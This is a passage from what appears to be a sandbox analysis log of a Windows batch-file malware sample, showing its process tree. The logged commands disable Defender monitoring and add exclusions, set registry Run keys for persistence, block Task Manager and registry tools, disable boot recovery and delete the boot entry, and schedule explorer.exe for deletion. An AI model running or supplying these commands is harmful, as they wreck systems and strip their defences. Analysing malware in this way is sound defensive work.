        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        10⤵
        
        PID:8472
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:4656
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:4920
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:4888
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:2468
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6664
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        Executes a command shell one-liner
        
        PID:7616
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6580
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9204
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9488
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:3380
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1716
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5156
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8852
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:4420
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        10⤵
        
        PID:8324
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        
        PID:2636
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:5560
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:3900
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:5656
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7144
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8108
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7284
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7872
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8844
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:4136
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:10052
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9432
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:5908
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        10⤵
        
        PID:6832
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:1396
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:728
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:3120
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6184
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6436
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:6992
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7248
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8780
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9160
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:9224
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9636
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:5820
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:3776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:9352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        10⤵
        
        PID:7172
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:5388
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:984
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:1256
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:5888
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6748
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7200
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8240
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8048
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9508
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        
        PID:1284
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9208
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1968
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:4188
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:5300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        10⤵
        
        PID:10312
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:1112
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:5428
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:2504
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:2848
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6780
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8184
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7340
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7868
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8252
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:864
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1736
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:3672
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:3480
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:9320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        10⤵
        
        PID:728
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        Executes a command shell one-liner
        
        PID:5148
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2576
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:2808
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:5112
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:6264
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7648
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7008
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7480
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:4908
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:9160
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:9088
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:1508
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:8644
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        10⤵
        
        PID:9596
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        10⤵
        
        PID:9472
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:3736
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:5236
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:4420
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:4068
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:6428
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:6444
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:8532
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:5356
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:808
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1356
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:1884
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        Enumerates connected drives
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2856
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:1480
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:532
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:5892
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:4848
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:3812
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4668
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:4464
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:1792
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:4932
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:3548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        
        PID:3684
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        
        PID:3940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        
        PID:4356
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5584
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5268
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:5788
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:3336
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:1780
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:1688
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:5816
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:1436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:7148
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:8336
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:6656
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6888
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:8500
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:6636
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8748
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:4104
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8228
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:9928
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9292
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8376
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6344
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:4412
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        Executes a command shell one-liner
        
        PID:6688
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:1804
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:4140
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7380
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:9892
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:2100
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:3904
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8224
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6352
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:2464
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:10944
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:6760
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6508
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:9124
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9128
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8600
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7684
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        10⤵
        
        PID:4616
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10164
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7700
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9684
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:6768
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:2996
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8424
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9988
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:1936
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8060
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6820
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        10⤵
        Views/modifies file attributes
        
        PID:7984
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        10⤵
        
        PID:11024
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:6916
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:4540
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:2296
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7632
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
